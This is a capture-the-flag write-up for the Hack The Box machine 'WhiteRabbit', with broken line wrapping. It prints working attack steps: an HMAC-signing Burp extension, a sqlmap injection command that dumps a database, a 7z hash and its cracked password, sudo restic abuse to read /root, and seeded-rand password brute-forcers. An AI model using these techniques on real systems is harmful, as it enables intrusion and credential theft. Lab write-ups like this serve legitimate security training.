WhiteRabbit Writeup (Created by Someone)
WhiteRabbit Writeup (Created by Someone)
#HTB #Writeup
However we couldn't find anything (lot of directory bruteforcing for both subdomains), so after a
little bit of research:
https://github.com/louislam/uptime-kuma/issues/2917
This says that under /status/ endpoint, there might be some pages accessible for non
authenticated users.
So we bruteforced this endpoint and found /status/temp/ that lists some new subdomains:
https://getgophish.com/
https://js.wiki/
Interestingly:
4. User Validation: Checks if the user’s email from the event is present in the database.
However we don't have the key for HMAC Signature, but if we continue reading:
We have attached a json file of a completed workflow where an invalid signature is provided
gophish_to_phishing_score_database.json
If we read
http://a668910b5514e.whiterabbit.htb/gophish/gophish_to_phishing_score_database.js
on we can find the secret key use for HMAC Signature:
Grep for secret
3CWVGMndgMvdVAzOjqBiTicmv7gxc6IS
https://gchq.github.io/CyberChef/#recipe=HMAC(%7B'option':'UTF8','string':'3CWVGMndgM
vdVAzOjqBiTicmv7gxc6IS'%7D,'SHA256')&input=eyJjYW1wYWlnbl9pZCI6MiwiZW1haWwi
OiJ0ZXN0XCIiLCJtZXNzYWdlIjoiQ2xpY2tlZCBMaW5rIn0&ieol=CRLF
{"campaign_id":2,"email":"test\"","message":"Clicked Link"}
However if we try to exploit it manually it will be very slow, so we will use sqlmap and we will
create a BurpSuite extension that will append the x-gophish-signature header along with the
correct HMAC Signature automatically:
https://www.pentestpartners.com/security-blog/burp-hmac-header-extensions-a-how-to/
https://github.com/pentestpartners/snippets/blob/master/hmac.py
import hashlib
import hmac
import base64
def getActionName(self):
return "HMAC Header"
#Get body
BodyBytes = currentRequest.getRequest()[requestInfo.getBodyOffset():]
BodyStr = self._helpers.bytesToString(BodyBytes)
#Get time
timestamp = datetime.now()
timestamp = timestamp.isoformat()
#Compute HMAC
content = BodyStr
stdout.println(content)
_hmac = hmac.new(Secret, content,
digestmod=hashlib.sha256).hexdigest()
stdout.println(_hmac)
# Update request with the new header and send it on its way
currentRequest.setRequest(message)
return
See BurpSuite Custom Extensions for information on how to install custom extensions and
run them
We can then use sqlmap to automate the attack:
sqlmap -u http://28efa8f7df.whiterabbit.htb/webhook/d96af3a4-21bd-4bcb-bd34-
37bfc67dfd1d --method POST --data
'{"campaign_id":2,"email":"[email protected]","message":"Clicked Linka"}' -p email
--proxy http://127.0.0.1:8080/ --batch --dump --level=5 --risk=3 -D temp -T
command_log --f
lush
We were able to dump the temp database, and its command_log table:
+----+---------------------+--------------------------------------------------
----------------------------+
| id | date | command
|
+----+---------------------+--------------------------------------------------
----------------------------+
| 1 | 2024-08-30 10:44:01 | uname -a
|
| 2 | 2024-08-30 11:58:05 | restic init --repo
rest:http://75951e6ff.whiterabbit.htb |
| 3 | 2024-08-30 11:58:36 | echo ygcsvCuMdfZ89yaRLlTKhe5jAmth7vxw >
.restic_passwd |
| 4 | 2024-08-30 11:59:02 | rm -rf .bash_history
|
| 5 | 2024-08-30 11:59:47 | #thatwasclose
|
| 6 | 2024-08-30 14:40:42 | cd /home/neo/ && /opt/neo-password-generator/neo-
password-generator | passwd |
+----+---------------------+--------------------------------------------------
----------------------------+
For now let's focus on the Restic repo, so we can access this repo and see if there are any
backups to recover them:
We can see that there is an encrypted bob.7z file, so we can get a crackable format using
7z2john then crack the encryption using hashcat .
bob.7z:$7z$2$19$0$$8$61d81f6f9997419d0000000000000000$4049814156$368$365$7295a
784b0a8cfa7d2b0a8a6f88b961c8351682f167ab77e7be565972b82576e7b5ddd25db30eb27137
078668756bf9dff5ca3a39ca4d9c7f264c19a58981981486a4ebb4a682f87620084c35abb66ac9
8f46fd691f6b7125ed87d58e3a37497942c3c6d956385483179536566502e598df3f63959cf16e
a2d182f43213d73feff67bcb14a64e2ecf61f956e53e46b17d4e4bc06f536d43126eb4efd1f529
a2227ada8ea6e15dc5be271d60360ff5c816599f0962fc742174ff377e200250b835898263d997
d4ea3ed6c3fc21f64f5e54f263ebb464e809f9acf75950db488230514ee6ed92bd886d0a9303bc
535ca844d2d2f45532486256fbdc1f606cca1a4680d75fa058e82d89fd3911756d530f621e801d
73333a0f8419bd403350be99740603dedff4c35937b62a1668b5072d6454aad98ff491cb7b1632
78f8df3dd1e64bed2dac9417ca3edec072fb9ac0662a13d132d7aa93ff58592703ec5a556be2c0
f0c5a3861a32f221dcb36ff3cd713$399$00
1q2w3e4r5t6y
After extracting the content, we can see a private SSH key for user bob which can SSH to the
server listening on port 2222 :
Running sudo -l we can see that user bob can run /usr/bin/restic as root.
Remember restic is used to backup files into local/remote repo, so we might be able to
abuse this behavior to backup the /root/ directory and then read its content:
Content of /root/morpheus :
/root/morpheus is apparently the SSH private key for user morpheus on the main machine
(Server on port 22 ), so we can now SSH as morpheus to the main machine and grab the
user.txt .
Since this appears to be a custom made binary, let's download a copy of it using scp to our
local machine for further analysis:
scp -i morpheus_id_rsa [email protected]:/opt/neo-password-
generator/neo-password-generator .
gettimeofday(&local_28,(__timezone_ptr_t)0x0);
generate_password(local_28.tv_sec * 1000 + local_28.tv_usec / 1000);
https://man7.org/linux/man-pages/man2/gettimeofday.2.html
struct timeval {
time_t tv_sec; /* seconds */
suseconds_t tv_usec; /* microseconds */
};
This gives the number of seconds and microseconds since the Epoch (see time(2)).
And the second argument is a timezone struct, in our case it is passing NULL so we don't care
about it.
Then we are calling the custom function generate_password() and passing local_28.tv_sec
* 1000 + local_28.tv_usec / 1000 as argument.
{
int iVar1;
long in_FS_OFFSET;
int local_34;
char local_28 [20];
undefined local_14;
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
srand(param_1);
for (local_34 = 0; local_34 < 0x14; local_34 = local_34 + 1) {
iVar1 = rand();
local_28[local_34] =
"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
[iVar1 % 0x3e];
}
local_14 = 0;
puts(local_28);
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
It takes the first parameter as a seed for the rand() function, which will generate a random
password based on that seed.
This random number is then used by computing random % 62 ( 62 is 0x3e in hex) and
appending the character of the index = random % 62 to the password.
We know that user neo has ran this binary at 2024-08-30 14:40:42 , so we know the exact
number of seconds since the Epoch, however we don't know the number of microseconds, so
we will need to bruteforce that number divided by 1000 , so from 0 to 999 (only 1000
possible values, since microsecond is 1000000 and divided by 1000 becomes 1000 ).
Wrote a simple python script that will generate all the possible passwords:
for i in range(0,1000):
password = ""
microseconds = i
current_seed_value = int(seconds * 1000 + microseconds)
print(current_seed_value)
## Set seed of random from libc library
libc.srand(current_seed_value)
for j in range(0,20):
## Call random function from libc
rand_int = libc.rand()
password +=
"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"[ rand_int %
62]
print(password)
WBSxhWgfnMiclrV4dqfj
Now we can SSH as neo and run sudo su to become root and read root.txt flag.
Additional Notes
Same bruteforcer but written in C:
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <string.h> // Required for explicit timegm declaration if needed
int main(){
char cs[]="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789",
pwd[21];
// Define the specific time struct (Year 2024, Month 8 (August, 0-indexed),
Day 30, 14:40:42)
struct tm tm = { .tm_year = 2024-1900, .tm_mon = 8-1, .tm_mday = 30,
.tm_hour = 14, .tm_min = 40, .tm_sec = 42 };
time_t t = timegm(&tm); // Convert struct tm (UTC) to time_t (seconds since
epoch)
if (t == (time_t)-1) { // Error check for timegm
perror("timegm failed");
return 1;
}
The timegm function might require linking the math library or might be implicitly available
depending on your glibc version.